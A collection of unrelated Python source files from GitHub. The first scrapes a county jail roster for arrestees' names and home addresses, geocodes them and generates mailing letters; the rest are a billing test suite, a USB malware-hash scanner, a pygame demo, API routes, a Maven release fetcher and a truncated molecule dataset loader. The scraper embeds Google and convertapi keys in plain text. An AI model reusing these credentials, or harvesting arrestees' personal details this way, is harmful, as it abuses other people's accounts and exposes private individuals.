logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nlogger.addHandler(ch)\n\nAPI_KEY = \"AIzaSyB9725AlCP1nHNvGFNvaWbkMN2ke_EWaAE\"\n# Backoff time sets how many minutes to wait between google pings when your API limit is hit\nBACKOFF_TIME = 30\n# Return Full Google Results? If True, full JSON results from Google are included in output\nRETURN_FULL_RESULTS = False\n\noutput = \"LetterInfo.csv\"\noutput1 = \"InvaildAddr.csv\"\nAddr_Val = True\n# try:\n# os.remove(output)\n# except OSError:\n# pass\nif os.path.isfile(output) != True:\n line = [\"BOOK_NO\",\"FNAME\", \"LNAME\", \"ADDRESS1\", \"ADDRESS2\", \"CITY\", \"STATE\", \"ZIPCODE\"]\n with open(output, 'w', newline='') as file1:\n writer = csv.writer(file1, delimiter=',')\n writer.writerow(line)\n\nif os.path.isfile(output1) != True:\n line = [\"BOOK_NO\",\"FNAME\", \"LNAME\", \"ADDRESS1\", \"ADDRESS2\", \"CITY\", \"STATE\", \"ZIPCODE\"]\n with open(output1, 'w', newline='') as file1:\n writer = csv.writer(file1, delimiter=',')\n writer.writerow(line)\n\n\n\ndef get_google_results(address, api_key=None, return_full_response=False):\n\n try:\n geocode_url = \"https://maps.googleapis.com/maps/api/geocode/json?address={}\".format(address)\n if api_key is not None:\n geocode_url = geocode_url + \"&key={}\".format(api_key)\n\n # Ping google for the reuslts:\n results = requests.get(geocode_url)\n # Results will be in JSON format - convert to dict using requests functionality\n results = results.json()\n\n # if there's no results or an error, return empty results.\n if len(results['results']) == 0:\n output = {\n \"formatted_address\": None,\n \"latitude\": None,\n \"longitude\": None,\n \"accuracy\": None,\n \"google_place_id\": None,\n \"type\": None,\n \"postcode\": None\n }\n else:\n answer = results['results'][0]\n output = {\n \"formatted_address\": answer.get('formatted_address')\n }\n output['status'] = results.get('status')\n\n if return_full_response is True:\n output['response'] = results\n\n return output\n except:\n pass\n\n\ndef address_validation(personal_info):\n global Addr_Val\n address = personal_info[\"ADDRESS1\"] + \",\" + personal_info[\"CITY\"] + \",\" + personal_info[\"STATE\"] + \",\" + personal_info[\"ZIPCODE\"]\n geocoded = False\n while geocoded is not True:\n # Geocode the address with google\n try:\n geocode_result = get_google_results(address, API_KEY, return_full_response=RETURN_FULL_RESULTS)\n except Exception as e:\n logger.exception(e)\n logger.error(\"Major error with {}\".format(address))\n logger.error(\"Skipping!\")\n geocoded = True\n\n # If we're over the API limit, backoff for a while and try again later.\n if geocode_result['status'] == 'OVER_QUERY_LIMIT':\n logger.info(\"Hit Query Limit! Backing off for a bit.\")\n time.sleep(BACKOFF_TIME * 60) # sleep for 30 minutes\n geocoded = False\n else:\n # If we're ok with API use, save the results\n # Note that the results might be empty / non-ok - log this\n if geocode_result['status'] != 'OK':\n logger.warning(\"Error geocoding {}: {}\".format(address, geocode_result['status']))\n #logger.debug(\"Geocoded: {}: {}\".format(address, geocode_result['status']))\n address_arr = {}\n # Append some other details:\n if geocode_result['status'] == 'OK':\n addrs = geocode_result['formatted_address'].split(\",\")\n if len(addrs) > 3:\n personal_info['ADDRESS1'] = addrs[0]\n personal_info['CITY'] = addrs[1]\n stat = addrs[2].split(\" \")\n personal_info['STATE'] = stat[1]\n personal_info['ZIPCODE'] = stat[2]\n else:\n Addr_Val = False\n return personal_info\n geocoded = True\n\n\n\ndef get_driver():\n\n options = Options()\n options.add_experimental_option(\"excludeSwitches\",\n [\"ignore-certificate-errors\", \"safebrowsing-disable-download-protection\",\n \"safebrowsing-disable-auto-update\", \"disable-client-side-phishing-detection\"])\n\n options.add_argument('--disable-infobars')\n options.add_argument('--disable-extensions')\n options.add_argument('--profile-directory=Default')\n options.add_argument(\"--incognito\")\n options.add_argument(\"--disable-plugins-discovery\")\n prefs = {'profile.default_content_setting_values.automatic_downloads': 1}\n options.add_experimental_option(\"prefs\", prefs)\n #options.add_argument(\"--headless\")\n driver = webdriver.Chrome('chromedriver', options=options)\n return driver\n\n\ndef docx_replace_regex(doc_obj, regex , replace):\n\n for p in doc_obj.paragraphs:\n if regex.search(p.text):\n inline = p.runs\n # Loop added to work with runs (strings with same style)\n for i in range(len(inline)):\n if regex.search(inline[i].text):\n text = regex.sub(replace, inline[i].text)\n inline[i].text = text\n\n for table in doc_obj.tables:\n for row in table.rows:\n for cell in row.cells:\n docx_replace_regex(cell, regex , replace)\n\n\ndef create_pdf(path):\n try:\n convertapi.api_secret = 'e29D5VW4X1vXpNWx'\n result = convertapi.convert('pdf', {'File': path})\n pdf_path = path[:-5] + \".pdf\"\n # save to file\n result.file.save(pdf_path)\n except:\n pass\n\n\n\ndef create_docx(personal_info):\n savepath = os.getcwd() + \"\\\\\" + personal_info[\"BOOK_NO\"]\n try:\n if not os.path.exists(savepath):\n os.makedirs(savepath)\n savefile = savepath + '\\\\Letter.docx'\n if os.path.isfile(savefile) != True:\n regex1 = re.compile(\"FIRST_NAME\")\n replace1 = personal_info[\"FNAME\"]\n filename = \"LetterTemp.docx\"\n doc = Document(filename)\n docx_replace_regex(doc, regex1, replace1)\n\n my_date = date.today()\n week_day = calendar.day_name[my_date.weekday()]\n month = calendar.month_name[my_date.month]\n Current_Time = week_day + \", \" + month + \" \" + str(my_date.day) + \", \" + str(my_date.year)\n regex1 = re.compile(\"Current_Time\")\n replace1 = Current_Time\n docx_replace_regex(doc, regex1, replace1)\n doc.save(savefile)\n create_pdf(savefile)\n savefile = savepath + '\\\\LetterEnvelope.docx'\n if os.path.isfile(savefile) != True:\n regex1 = re.compile(\"FNAME\")\n replace1 = personal_info[\"FNAME\"]\n filename = \"LetterEnvelopeTemp.docx\"\n doc = Document(filename)\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"LNAME\")\n replace1 = personal_info[\"LNAME\"]\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"ADDRESS1\")\n replace1 = personal_info['ADDRESS1']\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"ADDRESS2\")\n replace1 = personal_info['ADDRESS2']\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"CITY\")\n replace1 = personal_info['CITY'][1:]\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"STATE\")\n replace1 = personal_info['STATE']\n docx_replace_regex(doc, regex1, replace1)\n\n regex1 = re.compile(\"ZIPCODE\")\n replace1 = personal_info['ZIPCODE']\n docx_replace_regex(doc, regex1, replace1)\n\n doc.save(savefile)\n create_pdf(savefile)\n except:\n pass\n\n\n\ndef main():\n\n BOOK = \"NO.txt\"\n global Addr_Val\n if os.path.isfile(BOOK):\n with open(BOOK, 'r') as filehandle:\n BOOK_NO = filehandle.readline()\n if not BOOK_NO:\n BOOK_NO = input(\"Please Input BOOKING NO :\")\n else:\n BOOK_NO = input(\"Please Input BOOKING NO :\")\n driver = get_driver()\n try:\n\n print(datetime.datetime.now())\n\n url = \"https://apps.co.lubbock.tx.us/jailrosters/activejail.aspx\"\n driver.get(url)\n\n table = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, 'gridaj')))\n BOOKING = table.find_element_by_tag_name(\"td\")\n BOOKING.click()\n table = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, 'gridaj')))\n BOOKING = table.find_element_by_tag_name(\"td\")\n BOOKING.click()\n Next_check = 0\n BOOK_check = True\n MAX_check = 0\n\n while BOOK_check == True:\n table = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, 'gridaj')))\n BOOK_ARR = []\n trs = table.find_elements_by_tag_name(\"tr\")\n for i, tr in enumerate(trs):\n if i != 0:\n BOOkN = tr.find_element_by_tag_name(\"td\")\n BOOK_ARR.append(BOOkN.text)\n if MAX_check == 0:\n BOOK_MAX = BOOK_ARR[0]\n MAX_check += 1\n sheets = table.find_elements_by_tag_name(\"input\")\n sheet_len = len(sheets)\n idx = 0\n while idx < sheet_len:\n person = {}\n table = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, 'gridaj')))\n if int(BOOK_ARR[idx]) > int(BOOK_NO):\n sheets = table.find_elements_by_tag_name(\"input\")\n main_window_handle = None\n while not main_window_handle:\n main_window_handle = driver.current_window_handle\n sheets[idx].click()\n time.sleep(1)\n signin_window_handle = None\n while not signin_window_handle:\n for handle in driver.window_handles:\n if handle != main_window_handle:\n signin_window_handle = handle\n break\n driver.switch_to.window(signin_window_handle)\n time.sleep(1)\n driver.switch_to.frame(driver.find_element_by_tag_name(\"frame\"))\n time.sleep(1)\n tables = driver.find_elements_by_tag_name(\"table\")\n if len(tables) != 10:\n addr = driver.find_element_by_id(\"addr\")\n address = addr.text\n if (\"HOMELESS\" not in address) and (address != \"\") :\n\n person[\"BOOK_NO\"] = BOOK_ARR[idx]\n Name_Label = driver.find_element_by_id(\"Label1\")\n Name = Name_Label.text\n LName = Name[:Name.index(\",\")]\n Names = Name[Name.index(\",\") + 2 :]\n Name_a = Names.split(\" \")\n FName = Name_a[0]\n FIRST_NAME = FName.title()\n LAST_NAME = LName.title()\n person[\"FNAME\"] = FIRST_NAME\n person[\"LNAME\"] = LAST_NAME\n\n if \"#\" in address:\n person[\"ADDRESS1\"] = address[:address.index(\"#\")]\n person[\"ADDRESS2\"] = address[address.index(\"#\") :]\n elif \"APT\" in address:\n person[\"ADDRESS1\"] = address[:address.index(\"APT\")]\n person[\"ADDRESS2\"] = address[address.index(\"APT\"):]\n elif \"SUITE\" in address:\n person[\"ADDRESS1\"] = address[:address.index(\"SUITE\")]\n person[\"ADDRESS2\"] = address[address.index(\"SUITE\"):]\n else:\n person[\"ADDRESS1\"] = address\n person[\"ADDRESS2\"] = \"\"\n\n Citys = driver.find_element_by_id(\"citystzip\")\n City_Zip = Citys.text\n citys_arr = City_Zip.split(\" \")\n\n for idk , city in enumerate(citys_arr):\n if idk == 0:\n person[\"CITY\"] = city[:-1]\n elif idk == 1:\n person[\"STATE\"] = city\n elif idk == 2:\n person[\"ZIPCODE\"] = city\n\n updateperson = address_validation(person)\n #create_docx(updateperson)\n if Addr_Val == True:\n dir_path = os.getcwd()\n directory = dir_path + \"\\\\\" + BOOK_ARR[idx]\n directory1 = dir_path + \"\\\\allpdfs\"\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n if not os.path.exists(directory1):\n os.makedirs(directory1)\n\n page_html = driver.page_source\n page_result = page_html.replace(\"../lsoimages\",\"http://apps.co.lubbock.tx.us/lsoimages\")\n export_pdf = directory + \"\\\\\" + BOOK_ARR[idx] + \".pdf\"\n export_pdf1 = directory1 + \"\\\\\" + BOOK_ARR[idx] + \".pdf\"\n pdfkit.from_string(page_result, export_pdf)\n\n if os.path.isfile(export_pdf1) != True:\n shutil.copyfile(export_pdf, export_pdf1)\n\n keys = updateperson.keys()\n with open(output, 'a',newline='') as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writerow(updateperson)\n\n else:\n Addr_Val = True\n print(\"Invalid Address : \" + person[\"FNAME\"] + \", \" + person[\"LNAME\"] + \"@ \" + person[\"ADDRESS1\"] + \", \" + person[\"ADDRESS2\"] + \", \" + person[\"CITY\"] + \", \" + person[\"STATE\"] + \", \" + person[\"ZIPCODE\"])\n keys = person.keys()\n with open(output1, 'a',newline='') as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writerow(updateperson)\n\n else:\n BOOK_MAX = BOOK_ARR[idx]\n time.sleep(1)\n\n driver.switch_to.default_content()\n time.sleep(1)\n driver.switch_to.window(main_window_handle)\n else:\n BOOK_check = False\n break\n idx += 1\n if Next_check == 0:\n Next = driver.find_element_by_xpath(\"//*[@id='gridaj']/tbody/tr[12]/td/a\")\n Next_check += 1\n else:\n Next = driver.find_element_by_xpath(\"//*[@id='gridaj']/tbody/tr[12]/td/a[2]\")\n Next.click()\n with open(BOOK, 'w') as the_file:\n the_file.write(BOOK_MAX)\n\n except:\n print(\"loading page error\")\n pass\n driver.quit()\n print(\"---------processing end-----------\")\n print(datetime.datetime.now())\n time.sleep(60 * 30)\n\nif __name__ == \"__main__\":\n while True:\n main()\n","repo_name":"futuresea713/Scraping-MakeDocx-PDF","sub_path":"last-update.py","file_name":"last-update.py","file_ext":"py","file_size_in_byte":16663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29057961687","text":"from contextlib import contextmanager\nimport json\nfrom unittest import mock\nimport uuid\n\nimport pytest\n\nfrom billing.monthclosing.operations.instantiate_json_artifact.lib.main import (\n main,\n r_objs,\n)\n\n\n@contextmanager\ndef does_not_raise():\n yield\n\n\ndef patched_main(\n environment,\n token_file,\n artifact_path,\n filename,\n quota_project,\n time_to_live,\n pre_check_allowed_statuses,\n file_input,\n raw_input_,\n):\n args = [\n __name__,\n '-e',\n environment,\n '-t',\n str(token_file),\n '-a',\n artifact_path,\n '-f',\n filename,\n '-q',\n quota_project,\n '-ttl',\n str(time_to_live),\n ]\n if pre_check_allowed_statuses:\n args.extend(['-pcas', *pre_check_allowed_statuses])\n if file_input:\n args.extend(['-fi', str(file_input)])\n if raw_input_:\n args.extend(['-ri', raw_input_])\n\n with mock.patch('sys.argv', args):\n main()\n\n return\n\n\n@pytest.mark.parametrize(\n 'pre_check_allowed_statuses, file_input, raw_input_, last_instance, storage_metadata, storage_data, expectation, error',\n [\n ([], None, None, None, None, None, pytest.raises(Exception), 'No data source',),\n ([], {'id': 'test'}, None, None, None, None, does_not_raise(), None),\n ([], None, {'id': 'test'}, None, None, None, does_not_raise(), None),\n (\n [],\n {'id': 'file_test'},\n {'id': 'raw_test'},\n None,\n None,\n None,\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n {'id': 'test'},\n None,\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'text', 'storageUrl': '0'},\n {'id': 'test'},\n pytest.raises(Exception),\n 'Incorrect data type',\n ),\n (\n [],\n {'id': 'test'},\n None,\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'text', 'storageUrl': '0'},\n {'id': 'test'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n {'id': 'test'},\n None,\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'test'},\n does_not_raise(),\n None,\n ),\n (\n [\n r_objs.ArtifactInstanceStatus.ACTIVE,\n r_objs.ArtifactInstanceStatus.DEPRECATED,\n ],\n None,\n {'id': 'test'},\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'test'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.DEPRECATED],\n {'id': 'file_test'},\n {'id': 'raw_test'},\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'file_test'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n {'id': 'test'},\n None,\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.DEPRECATED,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'test_prev'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n None,\n {'id': 'test'},\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'test_prev'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n {'id': 'file_test'},\n {'id': 'raw_test'},\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json', 'storageUrl': '0'},\n {'id': 'file_test_prev'},\n does_not_raise(),\n None,\n ),\n (\n [r_objs.ArtifactInstanceStatus.ACTIVE],\n {'id': 'file_test'},\n {'id': 'raw_test'},\n mock.Mock(\n metadata=mock.Mock(dict_obj={'value': '0'}),\n status=r_objs.ArtifactInstanceStatus.ACTIVE,\n ),\n {'dataType': 'json'},\n {'id': 'file_test'},\n does_not_raise(),\n None,\n ),\n ],\n)\ndef test_main(\n tmp_path,\n pre_check_allowed_statuses,\n file_input,\n raw_input_,\n last_instance,\n storage_metadata,\n storage_data,\n expectation,\n error,\n):\n environment = 'testing'\n token_file = tmp_path / 'token_file'\n with open(token_file, 'w') as f:\n pass\n artifact_path = '/test'\n filename = 'data'\n quota_project = 'my little quota'\n time_to_live = 1\n\n file_input_ = None\n if file_input:\n file_input_ = tmp_path / 'file_input'\n with open(file_input_, 'w') as f:\n json.dump(file_input, f)\n\n raw_input__ = None\n if raw_input_:\n raw_input__ = json.dumps(raw_input_)\n\n with expectation as exc, mock.patch(\n 'reactor_client.reactor_api.ArtifactInstanceEndpoint'\n ) as aie_mock, mock.patch(\n 'billing.monthclosing.operations.instantiate_json_artifact.lib.main.NirvanaApi'\n ) as nirvana_api_mock:\n artifact_instance_endpoint = aie_mock.return_value\n artifact_instance_endpoint.last = lambda artifact_identifier: last_instance\n nirvana_api = nirvana_api_mock.return_value\n nirvana_api.get_data = lambda data_id: storage_metadata\n\n data = {}\n if storage_metadata and 'storageUrl' in storage_metadata:\n data[storage_metadata['storageUrl']] = mock.Mock(json=lambda: storage_data)\n uuids = []\n\n def get_from_storage(storage_url):\n return data[storage_url]\n\n def create_data(filename, data_type, quota_project, ttl_days):\n uuid_ = str(uuid.uuid4())\n data[uuid_] = None\n uuids.append(uuid_)\n return uuid_\n\n def upload_data_multipart(data_id, upload_parameters, stream_obj, filename):\n assert not data[data_id]\n data[data_id] = mock.Mock(json=lambda: json.load(stream_obj))\n\n nirvana_api.get_from_storage = get_from_storage\n nirvana_api.create_data = create_data\n nirvana_api.upload_data_multipart = upload_data_multipart\n\n patched_main(\n environment,\n token_file,\n artifact_path,\n filename,\n quota_project,\n time_to_live,\n list(map(lambda e: e.name, pre_check_allowed_statuses)),\n file_input_,\n raw_input__,\n )\n\n if error:\n assert error in str(exc)\n else:\n content = file_input or raw_input_\n if content:\n if (\n storage_data\n and content == storage_data\n and last_instance.status in pre_check_allowed_statuses\n and 'storageUrl' in storage_metadata\n ):\n assert not uuids\n else:\n assert len(uuids) == 1\n (created_uuid,) = uuids\n if file_input:\n assert file_input == data[created_uuid].json()\n else:\n assert raw_input_ == data[created_uuid].json()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests/func/test_main (2).py","file_name":"test_main (2).py","file_ext":"py","file_size_in_byte":8422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75198502802","text":"from asyncio import open_connection\r\nfrom multiprocessing import connection\r\nimport os,time,hashlib,wmi,pythoncom\r\nfrom subprocess import check_output, CalledProcessError\r\nfrom dB_init import create_server_connection, read_query\r\n# hash of a sample malicous file\r\n# hash_object = hashlib.md5(b'I am malicious.')\r\n# hex_dig = hash_object.hexdigest()\r\n# maliciousHash = hash_object.hexdigest()\r\ndef connect_to_dB():\r\n return create_server_connection(\"localhost\", \"root\", \"\", \"security_project\")\r\n\r\n# calculating SHA-256 of file\r\ndef hash_file(filePath):\r\n f = open(filePath, \"rb\")\r\n bytes = f.read()\r\n return hashlib.md5(bytes).hexdigest()\r\n\r\n# iterate over files and files inside folders in the flash drive\r\ndef detectUsbDrive (directory,connection):\r\n for path, subdirs, files in os.walk(directory):\r\n for name in files:\r\n f = os.path.join(path, name)\r\n # checking if it is a file\r\n if os.path.isfile(f):\r\n result = read_query(connection, \"SELECT hash_id FROM virus_hashes WHERE hash = '{}'\".format(hash_file(f)))\r\n if result:\r\n print(\"Malicous File Found\")\r\n # deleting malicious file\r\n os.remove(f)\r\n print(\"Removing malicious file...\")\r\n time.sleep(1)\r\n print(\"Malicous file removed.\")\r\n return\r\n print(\"USB drive is safe.\")\r\n \r\n# if __name__ == \"__main__\":\r\ndef program():\r\n connection = connect_to_dB()\r\n pythoncom.CoInitialize()\r\n c = wmi.WMI()\r\n list = [] \r\n while True: \r\n # checking inserted flash drives\r\n for disk in c.Win32_LogicalDisk():\r\n if disk.Description == 'Removable Disk' and not (list.count(disk.DeviceID)) :\r\n # print(list)\r\n list.append(disk.DeviceID)\r\n detectUsbDrive('{}\\\\'.format(disk.DeviceID), connection)\r\n\r\n # checking if the flash drives got ejected\r\n for i in range (len(list)) :\r\n found = 0 \r\n for disk in c.Win32_LogicalDisk():\r\n if disk.Description == 'Removable Disk' and list[i] == disk.DeviceID :\r\n found = 1 \r\n break\r\n if (not found):\r\n list.remove(list[i])","repo_name":"Mahmoudnaoum/Detect-Malicious-USB-Inserted","sub_path":"EH.py","file_name":"EH.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5541454533","text":"\nfrom apps.modules.rest.controllers.auth_controller import *\nfrom apps.modules.rest.controllers.document_controller import *\n\nclass RoutesManager:\n def __init__(self, app):\n self._app = app\n\n def get_route(self):\n self.rest_auth_controller()\n self.rest_document_controller()\n return self._app\n\n def rest_auth_controller(self):\n # auth controller class\n self._app.route('/api/v1.0/signup', method='POST', callback=AuthController().post_signup)\n self._app.route('/api/v1.0/login', method='POST', callback=AuthController().post_login)\n self._app.route('/api/v1.0/token', callback=AuthController().get_auth_token)\n self._app.route('/api/v1.0/basicauth', method='GET', callback=AuthController().get_basic_auth)\n self._app.route('/api/v1.0/session', method='GET', callback=AuthController().get_session)\n\n def rest_document_controller(self):\n # document controller class\n self._app.route('/api/v1.0/documents', method='POST', callback=DocumentController().post_document)\n self._app.route('/api/v1.0/documents/:id', method='PUT', callback=DocumentController().put_document)\n self._app.route('/api/v1.0/documents', method='GET', callback=DocumentController().get_all_document)\n self._app.route('/api/v1.0/documents/:id', method='GET', callback=DocumentController().get_document)\n self._app.route('/api/v1.0/documents/:id', method='DELETE', callback=DocumentController().del_document)","repo_name":"logorn/bottle-api-skeleton","sub_path":"apps/configs/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"33167727542","text":"import pygame\r\nimport sys\r\nimport time\r\nimport os\r\nfrom gtts import gTTS\r\nfrom io import BytesIO\r\nimport pygame\r\n\r\nthelanguage=\"en\"\r\n\r\nif 1 < len(sys.argv):\r\n thelanguage = sys.argv[1]\r\n\r\nclass TextOnScreen:\r\n def __init__(self):\r\n pygame.init()\r\n self.screen_info = pygame.display.Info() # Get screen info\r\n self.width, self.height = self.screen_info.current_w, self.screen_info.current_h\r\n self.screen = pygame.display.set_mode((self.width, self.height), pygame.FULLSCREEN)\r\n pygame.display.set_caption(\"Text on Pygame Screen\")\r\n self.white = (255, 255, 255)\r\n self.black = (0, 0, 0)\r\n self.font = pygame.font.Font(None, 144)\r\n self.current_text = \"Hello, Pygame!\"\r\n self.text = self.font.render(self.current_text, True, self.black, self.white)\r\n self.text_rect = self.text.get_rect(center=(self.width // 2, self.height // 2))\r\n\r\n def change_text(self, new_text):\r\n self.current_text = new_text\r\n self.text = self.font.render(self.current_text, True, self.white, self.black)\r\n self.text_rect = self.text.get_rect(center=(self.width // 2, self.height // 2))\r\n\r\n def update_display(self):\r\n pygame.event.get()\r\n print(pygame.event.get())\r\n self.screen.fill(self.black)\r\n self.screen.blit(self.text, self.text_rect)\r\n pygame.display.flip()\r\n\r\n def quit(self):\r\n pygame.quit()\r\n sys.exit()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n game = TextOnScreen()\r\n\r\n messages = [\r\n \"This is a long message that needs to be wrapped.\",\r\n \"Another long message to demonstrate text wrapping.\",\r\n \"Short text.\",\r\n \"A slightly longer piece of text that will be wrapped to fit the screen.\",\r\n \"Hello, world!\"\r\n ]\r\n\r\n for message in messages:\r\n game.change_text(message)\r\n game.update_display()\r\n pygame.time.wait(1000)\r\n\r\n game.quit()\r\n","repo_name":"ThorD125/learner","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23811662680","text":"from glob import glob\nimport os\nimport sys\nimport json\nimport frontmatter\nimport urllib.request\nimport datetime\n\n\ndef fetch_releases(package_identifier):\n group_id, artifact_id = package_identifier.split(\"/\")\n releases = {}\n start = 0\n while True:\n url = (\n \"https://search.maven.org/solrsearch/select?q=g:%s+AND+a:%s&core=gav&rows=100&wt=json&start=%s\"\n % (group_id, artifact_id, start)\n )\n with urllib.request.urlopen(url, data=None, timeout=5) as response:\n data = json.load(response)\n for row in data[\"response\"][\"docs\"]:\n date = datetime.datetime.utcfromtimestamp(row[\"timestamp\"] / 1000)\n version = row[\"v\"]\n if not any(\n exception in version\n for exception in [\"alpha\", \"beta\", \"nightly\", \"rc\", \"-M\"]\n ):\n abs_date = date.strftime(\"%Y-%m-%d\")\n releases[version] = abs_date\n print(\"%s: %s\" % (version, abs_date))\n start += 100\n if data[\"response\"][\"numFound\"] <= start:\n break\n return releases\n\n\ndef update_releases(product_filter=None):\n for product_file in glob(\"website/products/*.md\"):\n product_name = os.path.splitext(os.path.basename(product_file))[0]\n if product_filter and product_name != product_filter:\n continue\n with open(product_file, \"r\") as f:\n data = frontmatter.load(f)\n if \"auto\" in data:\n for config in data[\"auto\"]:\n for key, _ in config.items():\n if key == \"maven\":\n update_product(product_name, config)\n\n\ndef update_product(product_name, config):\n print(\"::group::%s\" % product_name)\n r = fetch_releases(config[\"maven\"])\n with open(\"releases/%s.json\" % product_name, \"w\") as f:\n f.write(json.dumps(r, indent=2))\n print(\"::endgroup::\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n update_releases(sys.argv[1])\n else:\n update_releases()\n","repo_name":"pradipta/release-data","sub_path":"src/maven.py","file_name":"maven.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"13361026296","text":"import torch\nfrom torch_geometric.datasets import QM9,ZINC,MoleculeNet\nfrom tqdm import tqdm\nimport os\nimport os.path as osp\nimport sys\nfrom typing import Callable, List, Optional\nimport grandiso\nimport torch\nimport torch.nn.functional as F\nfrom torch_scatter import scatter\nfrom torch_geometric.data import (\n Data,\n InMemoryDataset,\n download_url,\n extract_zip,\n)\nimport re\nfrom torch_geometric.utils import from_smiles\nimport networkx as nx\nimport pickle\nimport shutil\nfrom utils import to_network,truncted_BFS,path2mp,mol_paths\nHAR2EV = 27.211386246\nKCALMOL2EV = 0.04336414\nconversion = torch.tensor([\n 1., 1., HAR2EV, HAR2EV, HAR2EV, 1., HAR2EV, HAR2EV, HAR2EV, HAR2EV, HAR2EV,\n 1., KCALMOL2EV, KCALMOL2EV, KCALMOL2EV, KCALMOL2EV, 1., 1., 1.\n])\n\nzinc_bond_dict = {1: '-', 2: '=', 3: '#'}\nzinc_bond_dec = {0:' ', 1: '-', 2: '=', 3: '#'}\nzinc_atom_dict = {'C': 0, 'O': 1, 'N': 2, 'F': 3, 'C H1': 4, 'S': 5, 'Cl': 6, 'O -': 7, 'N H1 +': 8, 'Br': 9,\n 'N H3 +': 10, 'N H2 +': 11, 'N +': 12, 'N -': 13, 'S -': 14, 'I': 15, 'P': 16, 'O H1 +': 17,\n 'N H1 -': 18, 'O +': 19, 'S +': 20, 'P H1': 21, 'P H2': 22, 'C H2 -': 23, 'P +': 24, 'S H1 +': 25,\n 'C H1 -': 26, 'P H1 +': 27}\nreduce_atom_dict={'C': 'C', 'O': 'O', 'N': 'N', 'F': 'F', 'C H1': 'C', 'S': 'S', 'Cl': 'L', 'O -': 'O', 'N H1 +': 'N', 'Br': 'Br',\n 'N H3 +': 'N', 'N H2 +': 'N', 'N +': 'N', 'N -': 'N', 'S -': 'S', 'I': 'I', 'P': 'P', 'O H1 +': 'O',\n 'N H1 -': 'N', 'O +': 'O', 'S +': 'S', 'P H1': 'P', 'P H2': 'P', 'C H2 -': 'C', 'P +': 'P', 'S H1 +': 'S',\n 'C H1 -': 'C', 'P H1 +': 'P'}\nzinc_atom_dict={v:k for k,v in zinc_atom_dict.items()}\n\nwith open('metapaths.txt','r') as fin:\n mp=fin.read().split('\\n')\n mp= [i.strip('\\'').strip(' \\'') for i in mp]\n MP_corpus= set(mp)\nMP2id={i:k for k,i in enumerate(MP_corpus)}\n\n\nclass MP_ZINC(ZINC):\n def process(self):\n for split in ['train', 'val', 'test']:\n with open(osp.join(self.raw_dir, f'{split}.pickle'), 'rb') as f:\n mols = pickle.load(f)\n\n indices = range(len(mols))\n\n if self.subset:\n with open(osp.join(self.raw_dir, f'{split}.index'), 'r') as f:\n indices = [int(x) for x in f.read()[:-1].split(',')]\n\n pbar = tqdm(total=len(indices))\n pbar.set_description(f'Processing {split} dataset')\n\n data_list = []\n for idx in indices:\n mol = mols[idx]\n\n x = mol['atom_type'].to(torch.long).view(-1, 1)\n y = mol['logP_SA_cycle_normalized'].to(torch.float)\n\n adj = mol['bond_type']\n edge_index 